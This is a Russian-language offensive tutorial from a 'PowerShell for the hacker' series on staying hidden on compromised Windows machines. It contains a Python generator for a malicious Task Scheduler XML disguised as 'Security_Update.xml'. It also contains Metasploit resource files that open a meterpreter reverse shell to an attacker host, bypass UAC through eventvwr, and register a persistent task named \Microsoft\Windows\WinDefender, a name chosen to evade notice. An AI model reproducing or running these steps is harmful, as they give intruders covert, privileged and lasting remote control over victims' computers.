PowerShell для хакера. Часть V. Закрепление в системе через schtasks и вредоносную XML

PowerShell для хакера. Часть V. Закрепление в системе через schtasks и вредоносную XML

@webware

t.me/webware

Часть 5​

Доброго времен суток колеги. Сегодня продолжим с вами использовать PowerShell для демонстрации компрометации Windows машин (от версии Windows 7 , где он предустановлен по умолчанию)


Сегодня конкретно нового об PowerShell мы не узнаем ,а просто используем пейлоад на нем, для закрепление в системе через планировщик заданий Windows


Одна из возможностей планировщика заданий - импорт задачи и параметры ее запуска с XML файла. В одной изсвоих статей ,где я делал обзор одной утилиты по обходу АВ , использовалась техника импорта XML в планировщик заданий.Но там что мне не понравилось, так это то что локально хранился бинарный файл,который может просто удалится или со временем быть обнаруженным антивирусами.

По этому я взял на вооружения эту технику и покажу вам сегодня авторский подход к ней, а именно :

  • как создавать такую вредоносную xml
  • как внедрить туда полезную нагрузку на PowerShell
  • как снизить шансы на обнаружения такой задачи в планировщике
  • как автоматизировать действия в Metasploit

DarkNode сказал(а):

Сразу же хочу обратить внимания что данный метод требует повышенных привилегий!! По этому для этих целей прекрасно подойдет техника описанная колегой @Vander в его статье про повышение привилегий

И так, давайте разберемся откуда ноги растут) Сперва давайте поймем с вами как получить такую XML. Такая XML получается путем експорта задачи из планировщика задачи. Так что давайте сначала создадим нашу задачу:

Выставим необходимые нам тригеры(условия когда будет запускаться наша задача)

Укажем действие которое будет выполнятся:

Затем жмакнем экспортировать:

Посмотрим на содержимое нашей XML,видим интересующие нас теги <Command> и <Arguments>:

В принципе можно удалить сразу же нашу задачу , что бы проверить как работает импорт задачи из командной строки:

Далее откроем командную строку,посмотрим справку команды schtasks /Create /?

Видим интересный нам параметр ,который позволяет импортировать задачу из XML файла. Проверяем командой:

schtasks /Create /XML codeby_demo.xml /TN тут_любое_имя_нашей_задачи:

Тут надеюсь понятно,теперь что бы не проделывать эти действия с импортом и експортом постоянно, я для удобства создал скрипт который будет брать за шаблон такую XML и изменять только передаваемые параметры для PowerShell:

Python:

#!/usr/bin/env python
#-*- coding: utf-8 -*-

command=raw_input("Введите ваши аргументы(параметры) команды PowerShell:\n")
def gen_xml(command):
    string="""<?xml version="1.0" encoding="UTF-16"?>
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
    <LogonTrigger>
     <Enabled>true</Enabled>
    </LogonTrigger>
    <BootTrigger>
    <Enabled>true</Enabled>
    </BootTrigger>
      </Triggers>
      <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
      </Settings>
      <Actions>
    <Exec>
    <Command>powershell.exe</Command>
    <Arguments>%s</Arguments>
    </Exec>
      </Actions>
    </Task>""" %(command)
    return string

with open("Security_Update.xml","w") as f:
    f.write(gen_xml(command))
    f.close

После его отработки создаться файл Security_Update.xml с нужной нам полезной нагрузкой.

Давайте теперь перейдем к фазе с метасплоитом.

Для начала хочу что бы вы научились автоматизировать вводимые команды через ресурс_файл(файл с командами которые мы последовательно вводим в консоли метасплоита)

Выглядит ресурс файл примерно так:

priv.rc сказал(а):

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.103

set lport 4444

exploit -j

Это полезно тогда ,когда мы часто вводим одни и те же команды в метасплоите при каждом запуске и т.д

И я использую это для удобвства.

Выполнить этот ресурс файл можно двумя способами:

  • При запуске метасплоита через параметр -r ( msfconsole -r web_del.rc)
  • И находясь в самом метасплоите командой resources (msf>resources /root/web_del.rc)

Теперь давайте сперва получим сессию метерпретора и подготовим скрипт для автоматического повышения привилегий и закрепление в системе через нашу вредоносную xml.

Сперва подготовим XML:

Генерируем саму команду для павершел и копируем передаваемые параметры:

Теперь создаем нашу вредоносную XML через наш скрипт:


Теперь подготовим скрипт для повышение привилегий:

Metasploit сказал(а):

use exploit/windows/local/bypassuac_eventvwr

set session 2

set payload windows/meterpreter/reverse_tcp

set LPORT 4488

set LHOST 192.168.0.103

set AutoRunScript multi_console_command -rc meter.rc

explot -j


set AutoRunScript multi_console_command -rc meter.rc -- указываем что нужно будет выполнить набор команд из ресурс файла meter.rc при успешной метерпретер сессии

содержание meter.rc:


meter.rc сказал(а):

cd %appdata%

mkdir Windows

cd Windows

upload Security_Update.xml

execute -i -f "schtasks /Create /XML Security_Update.xml /TN \\Microsoft\\Windows\\WinDefender"

rm Security_Update.xml


Думаю тут понятно все, создается папка в %appdata% Windows , в нее грузится наша XML , делается импорт и XML удаляется.

Хочу заметить что для скрытие от наблюдение пользователя я в качестве имени передал путь к папке где лежать задачи которые запускает операционная система Windows - это значительно уменьшит риск обнаружения.

На деле выглядит примерно так:

В результате чего получаем скрытую задачу в планировщике заданий:

Всем спасибо) Продолжение следует)

Источник codeby.net

Report Page